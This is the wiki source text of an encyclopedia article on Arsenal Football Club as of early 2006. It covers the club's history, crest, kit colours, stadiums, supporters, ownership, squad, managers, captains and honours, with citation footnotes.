Arsenal were founded as '''Dial Square''' in 1886 by workers at the [[Royal Arsenal]] in [[Woolwich]], but were renamed to '''Royal Arsenal''' shortly afterwards. They renamed themselves again to '''Woolwich Arsenal''' after turning professional in 1891. The club joined the [[Football League]] in 1893, starting out in the [[Football League Second Division|Second Division]], and won promotion to the [[Football League First Division|First Division]] in 1904. However, the club's geographic isolation, and the resulting low attendances, led to the club becoming mired in financial problems. In 1913, soon after relegation back to the Second Division, they moved across the [[River Thames|Thames]] to the new [[Arsenal Stadium]] in [[Highbury]], north London. They dropped &quot;Woolwich&quot; from their name the following year. Arsenal only finished in fifth place in 1919, but nevertheless were elected to rejoin the First Division at the expense of local rivals [[Tottenham Hotspur F.C.|Tottenham Hotspur]], by reportedly dubious means.{{ref|henrynorris}}

In 1925, Arsenal appointed the highly successful [[Herbert Chapman]] as manager. Chapman had won the league with [[Huddersfield Town A.F.C.|Huddersfield Town]] in 1924 and 1925, and he brought Arsenal their first period of major success. His revolutionary tactics and training, along with star players such as [[Alex James (footballer)|Alex James]] and [[Cliff Bastin]], laid the foundations of the club's domination of English football in the 1930s. Between 1930 and 1938, Arsenal won the First Division five times and the [[FA Cup]] twice, although Chapman did not live to see all of these achievements, as he died of [[pneumonia]] in 1934. In addition, Chapman was reportedly behind the 1932 renaming of the local [[London Underground]] station from &quot;Gillespie Road&quot; to &quot;[[Arsenal tube station|Arsenal]]&quot;, making it the only Tube station to be named after a football club.

Following the suspension of English professional football during [[World War II]], Arsenal won the league in 1948 and 1953 and the FA Cup in 1950. However, their fortunes began to wane; unable to attract players of the same calibre as they had in the '30s, the club spent most of the 1950s and 1960s in trophyless mediocrity. Even former [[England national football team|England]] captain [[Billy Wright (footballer)|Billy Wright]] could not bring the club any success as manager.

Arsenal's second successful era began with the surprise appointment of club [[physiotherapy|physiotherapist]] [[Bertie Mee]] as manager in 1966. After losing two [[League Cup]] finals, they won the [[Inter-Cities Fairs Cup]], their first European trophy, in 1970. This was followed by an even greater triumph: their first League and FA Cup [[the Double|double]] in 1971. However, the following decade was characterised by a series of near misses. Arsenal finished as First Division runners-up in 1973, lost three FA Cup finals (1972, 1978 and 1980) and lost the 1980 [[Cup Winners' Cup]] final on [[penalty shootout (football)|penalties]]. The club's only success during this time was an FA Cup win in 1979, with a last-minute 3–2 victory over [[Manchester United F.C.|Manchester United]] that is widely regarded as a classic.

[[Image:Arsenal open top bus parade 2004.jpg|thumb|275px|right|Arsenal's players and fans celebrate their 2004 title win with an open-top bus parade]]
The return of former player [[George Graham (footballer)|George Graham]] as manager in 1986 brought a third period of glory. Arsenal won the League Cup in 1987, Graham's first season in charge. This was followed by a League title win in 1989, won with a last-minute goal in the final game of the season against fellow title challengers [[Liverpool F.C.|Liverpool]]. Graham's Arsenal won another title in 1991, losing only one match, the FA Cup and League Cup double in 1993 and a second European trophy, the [[Cup Winners' Cup]], in 1994. However, Graham's reputation was tarnished when it was revealed that he had taken kickbacks from agent [[Rune Hauge]] for signing certain players,{{ref|georgegraham}} and he was sacked in 1995. His replacement, [[Bruce Rioch]], lasted for only one season, leaving the club after a dispute over transfer funds.

The club's success in the late 1990s and 2000s owes a great deal to the appointment of manager [[Arsène Wenger]] in 1996. Wenger brought new tactics, a new training regime and several foreign players who complemented the existing English talent. Arsenal won a second league and cup double in 1998 and a third in 2002. In addition, the club were victorious in the 2003 and 2005 FA Cups, and won the League in 2004 without losing a single match; in all, the club went 49 league matches unbeaten, a [[Football records in England|record]]. Arsenal finished in either first or second place in the league in eight of Wenger's first nine seasons, and they are now considered to be one of the &quot;big three&quot; clubs in England along with [[Manchester United F.C.|Manchester United]] and [[Chelsea F.C.|Chelsea]]. However, they have been unable to replicate their domestic success in the [[UEFA Champions League|Champions League]], having never progressed beyond the quarter-finals (as of 2005).
&lt;!-- 

PLEASE NOTE:

This section is meant to be just a summary. Please do not add too much detail - the [[History of Arsenal F.C.]] article is intended for detailed additions. If you wish to mention events that have happened very recently, such as Arsenal's most recent results, please remember this is an encyclopedia, not a news service. Your contribution may be more suitable for addition to Wikinews (http://en.wikinews.org/) instead. Thank you. --&gt;

==Crest==
[[Image:Arsenal crest 1888.png|thumb|160px|Arsenal's first crest from 1888]]  
[[Image:Arsenal_fc_old_crest_small.png|thumb|160px|Arsenal's crest from ''c.'' 1949 to 2002]]
Royal Arsenal's first crest, unveiled in 1888, featured three [[cannon]] viewed from above, pointing northwards, similar to the crest of the [[Metropolitan Borough of Woolwich|Borough of Woolwich]]. These can sometimes be mistaken for [[chimney]]s, but the presence of a carved lion's head and a [[cascabel]] on each are clear indicators that they are cannon. In 1922, the club adopted its first single-cannon crest, featuring an eastward-pointing cannon. This crest was only used until 1925 when the cannon was reversed to point westward, its barrel was slimmed down and the club's nickname, ''The Gunners'', was inscribed to the left of it. In 1949, the club unveiled a modernised crest featuring the same style of cannon, the club's name set in [[blackletter]] above the cannon, and a scroll inscribed with the club's newly adopted [[Latin]] [[motto]], ''Victoria Concordia Crescit'' (meaning &quot;victory comes from harmony&quot;). For the first time, the crest was rendered in colour – red, green, and gold – which varied slightly over the crest's lifespan.

Because of the numerous revisions of the crest, Arsenal were unable to [[copyright]] it; although the club had managed to register the crest as a [[trademark]], and had fought (and eventually won) a long legal battle with a local street trader who sold 'unofficial' Arsenal merchandise,{{ref|trademark}} Arsenal sought more comprehensive legal protection. Therefore, in 2002 they introduced a new crest featuring more modern curved lines and a simplified style, which was copyrightable.{{ref|newcrest}} The cannon once again faces east and the club's name is written in a [[sans-serif]] [[typeface]] above the cannon. Green was replaced by dark blue. The new crest received a mixed response from supporters, with some claiming that it had ignored much of Arsenal's history by removing the blackletter text, motto, and [[Heraldry|coat of arms]].

==Colours==
{{Football kit box |
  align      = left |
  pattern_la = |
  pattern_b  = |
  pattern_ra = |
  leftarm    = FFFFFF |
  body       = FF0000 |
  rightarm   = FFFFFF |
  shorts     = FFFFFF |
  socks      = FF0000 |
  title      = Arsenal's usual home colours
}}
For much of Arsenal's history, their home colours have been bright red shirts with white sleeves and white shorts, though this has not always been the case. The choice of red is in recognition of a charitable donation from [[Nottingham Forest F.C.|Nottingham Forest]], soon after Arsenal's foundation in 1886. Two of Dial Square's founding members, [[Fred Beardsley]] and [[Morris Bates]], were former Forest players who had moved to Woolwich for work. As they put together the first team in the area, no kit could be found, so Beardsley and Bates wrote home for help and received a set of kit and a ball. The shirt was a darker shade of red than the club's modern-day colours, almost purple, and was worn with either white or dark red shorts. 

In 1933 Herbert Chapman, wanting his players to be more distinctly dressed, updated the kit, adding white sleeves and changing the shade to a brighter [[pillar box]] red. The team have stuck with the combination since, aside from two seasons. Firstly, in [[1963-64 in English football|1963–64]] the kit reverted to all red, but this proved unpopular and the white sleeves returned the following season. Secondly, as [[2005-06 in English football|2005–06]] is the last season that Arsenal will play at Highbury, the team's shirts have temporarily reverted back to the original darker red, or &quot;redcurrant&quot;, to reflect the colour worn in the first season at Highbury, in 1913. The club will return to its usual colours at the end of the season.

Arsenal's home colours have been the inspiration for at least two other clubs. In 1909, [[AC Sparta Praha|Sparta Prague]] adopted a dark red kit like the one Arsenal wore at the time; in the 1930s, [[Hibernian F.C.|Hibernian]] adopted the design of the Arsenal shirt sleeves in their own green and white strip.  Both teams still wear these designs to this day. 

Arsenal's away colours are traditionally yellow and blue, although they wore a green and navy away kit for a short while in the early 1980s. Since the 1990s and the advent of the lucrative replica kit market, the away colours have been changed every couple of seasons. Generally, they have been either yellow and blue, or two-tone blue designs, although there was a metallic gold and navy strip for the [[2001-02 in English football|2001–02]] season. However, many Arsenal fans feel that the blue shirts bring bad luck – all three of the club's recent Premier League titles have come in a season where the team wore yellow or gold. The [[2005-06 in English football|2005–06]] away colours are yellow and dark grey.

==Stadium==
[[Image:Arsenal Stadium interior North Bank.jpg|thumb|300px|The North Bank stand, [[Arsenal Stadium]].]]
[[Image:Emirates Stadium under construction.jpg|thumb|300px|The [[Emirates Stadium]] under construction]]
[[Arsenal Stadium]], widely referred to as Highbury, has been Arsenal's home since the club's move to North London in 1913. The original stadium was built by the renowned football architect [[Archibald Leitch]], and had a design common to many football grounds in the UK at the time, with a single covered stand and three open-air banks of [[stadium|terracing]]. In the 1930s, the entire stadium was given a massive overhaul, with new [[Art Deco]] East and West stands constructed, and roofs added to the North Bank and Clock End terraces. At its peak, Highbury could hold over 60,000 spectators, and had a capacity of 57,000 until the early 1990s. The [[Taylor Report]] and [[FA Premier League|Premier League]] regulations forced Arsenal to convert Highbury into an all-seater in 1992, reducing its capacity to the current total of 38,500; this capacity has to be reduced further during [[UEFA Champions League|Champions League]] matches to accommodate additional [[advertising]] hoardings. Expansion has been restricted because the East Stand is now a [[listed building|Grade II listed building]].

These limitations in Highbury's capacity have prevented the club from maximising the revenue that their domestic form could have brought in recent seasons. Although the club remains highly profitable, Arsenal are currently in the process of building [[Emirates Stadium]], a new 60,000-seater stadium at Ashburton Grove, about 500 metres south-west of Highbury. While this project was delayed by red tape (including final approval of the necessary compulsory purchase orders by [[Deputy Prime Minister of the United Kingdom|Deputy Prime Minister]] [[John Prescott]]) and rising costs, construction is now nearly complete and the stadium is expected to be ready for the start of the [[2006-07 in English football|2006–07]] season. The stadium is named after its sponsors, the airline company [[Emirates]], with whom the club signed the largest sponsorship deal in English football history, worth approximately £100 million over the term of the deal. As a part of the deal the stadium will be known as Emirates Stadium for at least the first 15 years, and the airline will be the club's shirt sponsor from 2006 until the end of the 2013–14 season.

==Supporters==
Arsenal have a large and generally loyal fanbase, with virtually all home matches selling out. Arsenal fans often refer to themselves as &quot;Gooners&quot;, the name being derived from the team's nickname, &quot;The Gunners&quot;. The club's location, adjoining both wealthy areas such as [[Crouch End]] and [[Hampstead]], mixed areas such as [[Islington]] and [[Highbury]], and working-class suburbs such as [[Holloway, London|Holloway]], [[Finsbury Park]] and [[Stoke Newington]] has meant that Arsenal's supporters have come from across the usual class divides. Arsenal have the highest proportion (7.7%) of non-white attending supporters of any club in English football, probably because of the high proportion of [[minority|ethnic minorities]] in north London.{{ref|minorities}}

Like all major English football clubs, Arsenal have a number of domestic supporters' clubs, including the Official Arsenal Football Supporters Club, which is affiliated with the club, and the Arsenal Independent Supporters' Association, which maintains an independent line. The club's supporters also publish [[fanzine]]s such as ''The Gooner'', ''Highbury High'', ''Gunflash'' and the less cerebral ''Up The Arse!'' In addition to the usual English [[football chant]]s, Arsenal's supporters sing &quot;One-Nil to the Arsenal&quot; (to the tune of &quot;[[Go West]]&quot;) and &quot;Boring, Boring Arsenal&quot;, which used to be a common taunt from opposition fans but is now sung ironically by Arsenal supporters when the team is playing well.

In recent times, a supporter's attachment to a football club has become less dependent on geography, so Arsenal now have many fans not just from London but all over England and indeed the world. While there have always been small pockets of supporters abroad, Arsenal's support base has widened considerably with the advent of [[satellite television]], and there are now significant supporters' clubs in [[Scandinavia]], [[South East Asia|South East]] and [[East Asia]] and the [[United States]]. A 2005 report by Granada Ventures, which owns a 9.9% stake in the club, estimated Arsenal's global fanbase at 27 million, the third largest in the world.{{ref|fanbase}}

Arsenal's longest-running and deepest rivalry is with their nearest major neighbour, [[Tottenham Hotspur F.C.|Tottenham Hotspur]], with matches between the two being referred to as [[North London derby|North London derbies]]. Matches against other London sides, such as [[Chelsea F.C.|Chelsea]] and [[West Ham United F.C.|West Ham United]] are also [[derby match|derbies]], but the rivalry is not as intense as that between Arsenal and Tottenham. In addition, Arsenal and [[Manchester United F.C.|Manchester United]] have had a strong on-pitch rivalry since the late 1980s, which has intensified in recent years when both clubs have been competing for the Premier League title.

==Ownership==
Arsenal's parent company, Arsenal Holdings, operates as a [[public limited company]]. However, Arsenal's ownership is considerably different from that of other football clubs. Only 62,000 shares in Arsenal have been issued, and they are not traded on a public exchange such as the [[FTSE]] or [[AIM]]; instead, they are traded infrequently on [[OFEX]], a specialist market. As of December 2005, Arsenal's [[market capitalization]] value is £290m, and the club made a [[corporation tax|pre-tax]] [[profit]] of £19.3m in the 2004-05 [[financial year]].{{ref|ofex}}

Currently, the club's largest shareholders are Danny Fiszman (a London [[diamond]] dealer) and Nina Bracewell-Smith (a descendant by marriage of former chairman [[Bracewell Smith|Sir Bracewell Smith]]), who hold 25.2% and 15.9% respectively. Vice-chairman [[David Dein]] holds 14.6% while club [[chairman]] [[Peter Hill-Wood]] owns less than 1%.{{ref|afc-accounts}} Arsenal's board of directors hold the majority of the club's shares, but in recent years, with Arsenal becoming a significant media asset, outside organisations have bought into the club. These include entertainment firm Granada Ventures (a subsidiary of [[ITV plc]]) (9.9%) and [[hedge fund]] [[Lansdowne Partners]] (2.7%); Lansdowne used to have a stake in [[Manchester United F.C.|Manchester United]] before selling it to [[Malcolm Glazer]].{{ref|lansdowne}}

==Arsenal in popular culture==
As one of the most successful teams in the country, Arsenal have often featured when football is depicted in [[British culture]]. The club were the backdrop to one of the earliest football-related [[film]]s, ''[[The Arsenal Stadium Mystery]]'' (1939). The film is centred on a [[friendly match]] between Arsenal and an amateur side, one of whose players is poisoned whilst playing. Many Arsenal players appeared as themselves, although only manager George Allison was given a speaking part.

More recently, the book ''[[Fever Pitch]]'' by [[Nick Hornby]] was an [[autobiography|autobiographical]] account of Hornby's life and relationship with football and Arsenal in particular. Published in 1992, it formed part of, and may have played an active part in, the revival and rehabilitation of football in British society during the 1990s. The book was later made into a film starring [[Colin Firth]], which centred on the club's [[1988-89 in English football|1988–89]] title win.

Arsenal's perceived tendency to be defensive and &quot;boring&quot; through the 1970s and 1980s made the team the butt of jokes by many comedians such as [[Eric Morecambe]]. The theme was repeated in the 1997 film ''[[The Full Monty]]'', in a scene where the lead actors move in a line and raise their hands, deliberately mimicking the Arsenal defence's [[Offside law (football)|offside]] trap, in an attempt to co-ordinate their [[stripping]].

The club is also mentioned in several ''[[Monty Python's Flying Circus]]'' sketches, and in [[Douglas Adams]]' ''[[The Hitchhiker's Guide to the Galaxy]]'': a barman remarks that the impending [[end of the world]] is a &quot;lucky escape&quot; for Arsenal, who are playing that afternoon. Most recently, in the 2004 box office hit ''[[Ocean's Twelve]]'' the stars put on Arsenal tracksuits to escape from a hotel as part of one of their European heists.

==Arsenal Ladies==
{{details|Arsenal L.F.C.}}
[[Arsenal L.F.C.|Arsenal Ladies]] are the [[Women's football (soccer)|women's football]] club affiliated to Arsenal. Founded in 1987, they turned semi-professional in 2002 and are one of the most successful teams, if not the dominant team, in [[Women's football in England|English women's football]] today. They are managed by [[Vic Akers]], who is also kit manager for the men's side, and play in the [[FA Women's Premier League National Division|FA Women's Premier League]]. They are currently reigning League champions, having won their seventh title in 2005.

As well as their seven League titles, Arsenal Ladies have won the [[FA Women's Cup]] six times and the [[Women's League Cup]] eight times; this includes two Trebles in 1993 and 2001. They have also reached the semifinals of the [[UEFA Women's Cup]] twice, the furthest any English women's club have ever got. While the men's and women's clubs are formally separate they have quite close ties; Arsenal vice-chairman [[David Dein]] is president of Arsenal Ladies, and the ladies are entitled to play once a season at Highbury (they usually play their home matches at [[Boreham Wood F.C.|Boreham Wood]]).

==Statistics and records==
{{details|Arsenal F.C. records}}
[[David O'Leary]] holds the record for Arsenal appearances, having played 722 first-team matches between 1975 and 1993. Fellow [[centre half]] and former captain [[Tony Adams (footballer)|Tony Adams]] comes second, having played 668 times. The record for a [[goalkeeper]] is held by [[David Seaman]], with 563 appearances.

Current Arsenal captain [[Thierry Henry]] is the club's top goalscorer with 201 goals in all competitions (as of [[February 22]], [[2006]]), having surpassed [[Ian Wright]]'s total of 185 in October 2005. Wright's record had stood since 1997, a feat which overtook the longstanding total of 178 goals set by winger [[Cliff Bastin]] in 1939. Henry also holds the club record for goals scored in the League (152), a record that had been held by Bastin until February 2006.

Arsenal's record home attendance is 73,707, for a [[UEFA Champions League]] match against [[RC Lens]] on [[November 25]], [[1998]] at [[Wembley Stadium]], where Arsenal formerly played home European matches because of the limits on Highbury's capacity. The record attendance for an Arsenal match at Highbury is 73,295, for a 0-0 draw against [[Sunderland A.F.C|Sunderland]] on [[9 March]] [[1935]]. The current capacity of Highbury is 38,500, and the planned capacity of Emirates Stadium is 60,000, so these records are unlikely to be broken in the near future.

Arsenal have also set records in English football, most notably the most consecutive seasons spent in the top flight (79, as of 2005) and the longest run of unbeaten League matches (49 between May 2003 and October 2004). This included all 38 matches of the [[2003-04 in English football|2003–04]] season, making Arsenal only the second club ever to finish a top-flight campaign unbeaten, after [[Preston North End F.C.|Preston North End]] (who played only 22 matches) in [[1888-89 in English football|1888–89]].

==Current squad==
''As of [[February 9]], [[2006]]:''
{{Fs start}}
{{Fs player | no=1 | nat=Germany    | pos=GK | name= [[Jens Lehmann]]}}
{{Fs player | no=2  | nat=France     | pos=MF | name= [[Abou Diaby]]}}
{{Fs player | no=3  | nat=England    | pos=DF | name= [[Ashley Cole]]}}
{{Fs player | no=7  | nat=France     | pos=MF | name= [[Robert Pirès]]}}
{{Fs player | no=8  | nat=Sweden     | pos=MF | name= [[Fredrik Ljungberg]]}}
{{Fs player | no=9  | nat=Spain      | pos=FW | name= [[José Antonio Reyes]]}}
{{Fs player | no=10 | nat=Netherlands| pos=FW | name= [[Dennis Bergkamp]] | }}
{{Fs player | no=11 | nat=Netherlands| pos=FW | name= [[Robin van Persie]]}}
{{Fs player | no=12 | nat=Cameroon   | pos=DF | name= [[Lauren Etame Mayer|Lauren]]}}
{{Fs player | no=13 | nat=Belarus    | pos=MF | name= [[Aliaksandr Hleb|Alexander Hleb]]}}
{{Fs player | no=14 | nat=France     | pos=FW | name= [[Thierry Henry]] | other=captain}}
{{Fs player | no=15 | nat=Spain      | pos=MF | name= [[Francesc Fàbregas]]}}
{{Fs player | no=16 | nat=France     | pos=MF | name= [[Mathieu Flamini]]}}
{{Fs player | no=17 | nat=Cameroon   | pos=MF | name= [[Alexandre Song]] | other=on loan from [[Sporting Club de Bastia|Bastia]]}}
{{Fs player | no=18 | nat=France     | pos=DF | name= [[Pascal Cygan]]}}
{{Fs player | no=19 | nat=Brazil     | pos=MF | name= [[Gilberto Silva]]}}
{{Fs player | no=20 | nat=Switzerland| pos=DF | name= [[Philippe Senderos]]}}
{{Fs player | no=21 | nat=Estonia    | pos=GK | name= [[Mart Poom]]}}
{{Fs mid}}
{{Fs player | no=22 | nat=France     | pos=DF | name= [[Gaël Clichy]]}}
{{Fs player | no=23 | nat=England    | pos=DF | name= [[Sol Campbell]]}}
{{Fs player | no=24 | nat=Spain      | pos=GK | name= [[Manuel Almunia]]}}
{{Fs player | no=25 | nat=Togo       | pos=FW | name= [[Emmanuel Adebayor]]}}
{{Fs player | no=27 | nat=Cote d'Ivoire| pos=DF | name= [[Emmanuel Eboué]]}}
{{Fs player | no=28 | nat=Cote d'Ivoire| pos=DF | name= [[Kolo Touré]]}}
{{Fs player | no=29 | nat=Sweden     | pos=MF | name= [[Sebastian Larsson]]}}
{{Fs player | no=32 | nat=England    | pos=MF | name= [[Theo Walcott]]}}
{{Fs player | no=33 | nat=Denmark    | pos=FW | name= [[Nicklas Bendtner]]}}
{{Fs player | no=34 | nat=England    | pos=DF | name= [[Matthew Connolly]]}}
{{Fs player | no=36 | nat=Switzerland| pos=MF | name= [[Johan Djourou]]}}
{{Fs player | no=37 | nat=England    | pos=DF | name= [[Ryan Garry]]}}
{{Fs player | no=38 | nat=England    | pos=DF | name= [[Kerrea Gilbert]]}}
{{Fs player | no=40 | nat=England    | pos=GK | name= [[Michael Jordan (footballer)|Michael Jordan]]}}
{{Fs player | no=41 | nat=Italy      | pos=FW | name= [[Arturo Lupoli]]}}
{{Fs player | no=42 | nat=Italy      | pos=GK | name= [[Vito Mannone]]}}
{{Fs player | no=44 | nat=England    | pos=MF | name= [[Fabrice Muamba]]}}
{{Fs player | no=45 | nat=Ireland    | pos=FW | name= [[Anthony Stokes (footballer)|Anthony Stokes]]}}
{{Fs end}}
===Players out on loan===
{{Fs start}}
{{Fs player | no=30 | nat=France     | pos=FW | name= [[Jeremie Aliadière]] | other=at [[Wolverhampton Wanderers F.C.|Wolves]], until end of season}}
{{Fs player | no=31 | nat=England    | pos=DF | name= [[Justin Hoyte]] | other=at [[Sunderland A.F.C.|Sunderland]], season-long}}
{{Fs player | no=39 | nat=England    | pos=GK | name= [[Mark Howard (goalkeeper)|Mark Howard]] | other=at [[Falkirk F.C.|Falkirk]], until end of season}}
{{Fs player | no=43 | nat=England    | pos=MF | name= [[Ryan Smith (footballer)|Ryan Smith]] | other=at [[Leicester City]], season-long}}
{{Fs blank column}}
{{Fs end}}

==Famous players==
{{details|List of Arsenal F.C. players}}
''Listed according to year of Arsenal first-team debut (year in parentheses):''
* 1920s: [[Jimmy Brain]] (1924), [[Joe Hulme]] (1926) [[Eddie Hapgood]] (1927), [[David Jack]] (1928), [[Cliff Bastin]] (1929), [[Alex James (footballer)|Alex James]] (1929).
* 1930s: [[Leslie Compton]] (1930), [[Ted Drake]] (1934), [[Wilf Copping]] (1934), [[George Swindin]] (1936), [[Reg Lewis]] (1938).
* 1940s: [[Walley Barnes]] (1946), [[Jimmy Logie]] (1946), [[Joe Mercer]] (1946), [[Laurie Scott (footballer)|Laurie Scott]] (1946), [[Doug Lishman]] (1948).
* 1950s: [[Cliff Holton]] (1950), [[Dave Bowen]] (1951), [[Jack Kelsey]] (1951), [[Jimmy Bloomfield]] (1954), [[David Herd (footballer)|David Herd]] (1954).
* 1960s: [[George Armstrong (footballer)|George Armstrong]] (1962), [[Bob Wilson (footballer)|Bob Wilson]] (1963), [[John Radford]] (1963), [[Frank McLintock]] (1964), [[Bob McNab]] (1966), [[Pat Rice]] (1967), [[Charlie George]] (1969), [[Ray Kennedy]] (1969).
* 1970s: [[Liam Brady]] (1973), [[Frank Stapleton]] (1975), [[David O'Leary]] (1975), [[Pat Jennings]] (1977), [[Graham Rix]] (1977).
* 1980s: [[Kenny Sansom]] (1980), [[Tony Adams (footballer)|Tony Adams]] (1983), [[David Rocastle]] (1985), [[Paul Merson]] (1986), [[Michael Thomas]] (1986), [[Lee Dixon]] (1988), [[Nigel Winterburn]] (1988).
* 1990s: [[David Seaman]] (1990), [[Ian Wright]] (1991), [[Dennis Bergkamp]] (1995), [[Patrick Vieira]] (1996), [[Marc Overmars]] (1997), [[Fredrik Ljungberg]] (1998), [[Thierry Henry]] (1999).
* 2000s: [[Ashley Cole]] (2000), [[Lauren]] (2000), [[Robert Pirès]] (2000), [[Sol Campbell]] (2001), [[Kolo Toure]] (2002), [[Francesc Fàbregas]] (2003), [[José Antonio Reyes]] (2004), [[Robin Van Persie]] (2004).

==Managers==
{| class=&quot;wikitable&quot;
|-
!Manager
!Period
|-
|[[Sam Hollis]]||August 1894 – July 1897
|-
|[[Thomas Mitchell (football manager)|Thomas Mitchell]]||August 1897 – March 1898
|-
|[[George Elcoat]]||March 1898 –  May 1899
|-
|[[Harry Bradshaw]]||August 1899 – May 1904
|-
|[[Phil Kelso]]||July 1904 – February 1908
|-
|[[George Morrell]]||February 1908 – May 1915
|-
|[[Leslie Knighton]]||May 1919 – June 1925
|-
|[[Herbert Chapman]]||June 1925 – January 1934
|-
|[[Joe Shaw (footballer)|Joe Shaw]]*||January – June 1934
|-
|[[George Allison]]||June 1934 – May 1947
|-
|[[Tom Whittaker (footballer)|Tom Whittaker]]||June 1947 – October 1956
|-
|[[Jack Crayston]]||October 1956 – May 1958
|-
|[[George Swindin]]||July 1958 – May 1962
|-
|[[Billy Wright (footballer)|Billy Wright]]||May 1962 – June 1966
|-
|[[Bertie Mee]]||June 1966 – May 1976
|-
|[[Terry Neill]]||July 1976 – December 1983
|-
|[[Don Howe]]||December 1983 – March 1986
|-
|[[Steve Burtenshaw]]*||March – May 1986
|-
|[[George Graham (footballer)|George Graham]]||June 1986 – February 1995
|-
|[[Stewart Houston]]*||February – May 1995
|-
|[[Bruce Rioch]]||June 1995 – August 1996
|-
|[[Stewart Houston]]*||August – September 1996
|-
|[[Pat Rice]]*||September 1996
|-
|[[Arsène Wenger]]||September 1996 – present
|}

''&lt;nowiki&gt;*&lt;/nowiki&gt; denotes [[caretaker manager]].''

==Club captains==
{| class=&quot;wikitable&quot;
|-
!Captain
!Period
|-
|[[James Jackson (footballer)|Jimmy Jackson]]||1904 – 1905
|-
|[[Terry Neill]]||1962 – 1967
|-
|[[Frank McLintock]]||1967 – 1973
|-
|[[Alan Ball (footballer)|Alan Ball]]||1973 – 1975
|-
|[[Eddie Kelly]]||1975 – 1976
|-
|[[Pat Rice]]||1976 – 1980
|-
|[[John Hollins]]|| 1980 – 1981
|-
|[[David O'Leary]]||1981 – 1983
|-
|[[Graham Rix]]||1983 – 1986
|-
|[[Kenny Sansom]]||1986 – 1988
|-
|[[Tony Adams (footballer)|Tony Adams]]||1988 – 2002
|-
|[[Patrick Vieira]]||2002 – 2005
|-
|[[Thierry Henry]]||2005 – present
|}
{{listdev}}

==Honours==
* '''[[Football League First Division|First Division]] and [[FA Premier League|Premier League]]'''{{ref|premierleague}}''' titles: 13'''
**1931, 1933, 1934, 1935, 1938, 1948, 1953, 1971, 1989, 1991, 1998, 2002, 2004

* '''[[FA Cup]]s: 10'''
**1930, 1936, 1950, 1971, 1979, 1993, 1998, 2002, 2003, 2005

* '''[[League Cup]]s: 2'''
**1987, 1993

* '''[[UEFA Cup|Inter-Cities Fairs Cup]] (predecessor of the [[UEFA Cup]]): 1'''
**1970

* '''[[Cup Winners' Cup|European Cup Winners' Cup]]: 1'''
**1994

*Three &quot;[[The Double|Doubles]]&quot;: 1971, 1998, 2002
*One Domestic Cup Double: 1993

Arsenal's tally of thirteen League Championships is the third highest in English football, after [[Liverpool F.C.|Liverpool]] and [[Manchester United F.C.|Manchester United]], while the total of ten FA Cups is the second highest, after Manchester United. Arsenal have one of the best top-flight records in history, having finished below fourteenth only seven times, and never below twentieth. In addition, they are one of only five clubs to have won the FA Cup twice in succession.

==Footnotes==
&lt;!-- How to add a footnote: 
   NOTE: Footnotes in this article use names, not numbers. Please see [[Wikipedia:Footnotes]] for details.
     1) Assign your footnote a unique name, for example TheSun_Dec9. 
     2) Add the macro {{ref|TheSun_Dec9}} to the body of the article, where you want the new footnote.
     3) Take note of the name of the footnote that immediately precedes yours in the article body. 
     4) Add #{{Note|TheSun_Dec9}} to the list, immediately below the footnote you noted in step 3.  No need to re-number anything!
     5) Multiple footnotes to the same reference: see [[Wikipedia:Footnotes]] for a how-to.
   NOTE: It is important to add footnotes in the right order in the list!
--&gt;
#{{note|henrynorris}} It has been alleged that Arsenal's promotion, on historical grounds rather than merit, was thanks to underhand actions by the then Arsenal chairman, [[Henry Norris|Sir Henry Norris]] (see [[History of Arsenal F.C.]] for more details). No firm proof has ever been offered, though Chapter Two of ''Rebels for the Cause'' (listed below) and [http://www.emiratesstadium.info/serv01.htm this webpage] present plenty of supporting evidence. An investigation by ''[[Four Four Two]]'' magazine reported that financial irregularities had taken place. 
#{{note|georgegraham}} Graham was banned for a year by the Football Association for his involvement in the scandal after he admitted he had received an &quot;unsolicited gift&quot; from Hauge. As one of the few football corruption cases where wrongdoing was proven, it is often referenced in the press (e.g. in this [http://politics.guardian.co.uk/columnist/story/0,9321,915368,00.html ''Observer'' article]), and is given a detailed treatment in ''Broken Dreams'' by Tom Bower (ISBN 0743440331).
#{{note|trademark}} {{cite web | title=''Arsenal v. Reed'' in the Court of Appeal | work=Michael Simkins LLP | url=http://www.simkins.co.uk/ebulletins/DAFArsenalReed.aspx | accessdate=December 14 | accessyear=2005 }}
#{{note|newcrest}}{{cite web | title=Arsenal go for a makeover | work=BBC News website | url=http://news.bbc.co.uk/sport1/hi/football/teams/a/arsenal/1795444.stm | accessdate=October 14 | accessyear=2005}}
#{{note|minorities}} {{cite web | title=Soccer violence declining say fans | work=BBC News website | url=http://news.bbc.co.uk/1/hi/sport/football/1844962.stm | accessdate=October 13 | accessyear=2005 }}
#{{note|fanbase}} {{cite web | title=Arsenal named the Premiership's fastest-growing brand | work=Brand Republic | url=http://www.brandrepublic.com/bulletins/br/article/490179/arsenal-named-oremiership | accessdate=October 13 | accessyear=2005 }}
#{{note|ofex}} {{cite web|title=OFEX Company Profile: Arsenal Holdings plc| work=OFEX website | url=http://www.ofex.com/cgi-bin/profile.cgi?ISIN=GB0030895238|accessdate=December 23|accessyear=2005}}
#{{note|afc-accounts}} {{cite web | title=Arsenal FC Statement of Accounts &amp; Annual Report 2004/2005 | work=OFEX website | url=http://www.ofex.com/cgi-bin/reports.cgi?action=DisplayReport&amp;report=arsenal2005.pdf | accessdate=December 23 | accessyear=2005}}
#{{note|lansdowne}} {{cite web | title=Arsenal fans fear takeover as share price continues to rise | work=Daily Telegraph | url=http://sport.telegraph.co.uk/sport/main.jhtml?xml=/sport/2005/10/13/sfnbos13.xml | accessdate=December 23 | accessyear=2005}}
#{{note|premierleague}} Up until 1992, the top division of [[Football in England|English football]] was the [[Football League First Division]]; since then, it has been the [[FA Premier League]].

==References==
*{{cite book | author=Hornby, Nick | title=Fever Pitch | publisher=Indigo| year=1992| id=ISBN 1840189002}}
*{{cite book | author=Soar, Phil &amp; Tyler, Martin | title=The Official Illustrated History of Arsenal | publisher=Hamlyn | year=2000| id=ISBN 0600601757}}
*{{cite book | author=Spurling, Jon | title=Rebels for the Cause: The Alternative History of Arsenal Football Club | publisher=Mainstream| year=2004| id=ISBN 0575400153}}
*{{cite web | title=Arsenal.com - The Club| url=http://www.arsenal.com/clubnews.asp?nav=The+club&amp;lid=AboutArsenal&amp;title=About+Arsenal | accessdate=July 27 | accessyear=2005}}
*{{cite web | title=ArseWeb statistics page| url=http://www.arseweb.com/history/ | accessdate=July 27 | accessyear=2005}}
*{{cite web | title=Arsenal Shirts| url=http://hem.passagen.se/arsenalshirts/ | accessdate=August 12 | accessyear=2005}}

==External links==
{{commonscat|Arsenal F.C.}}
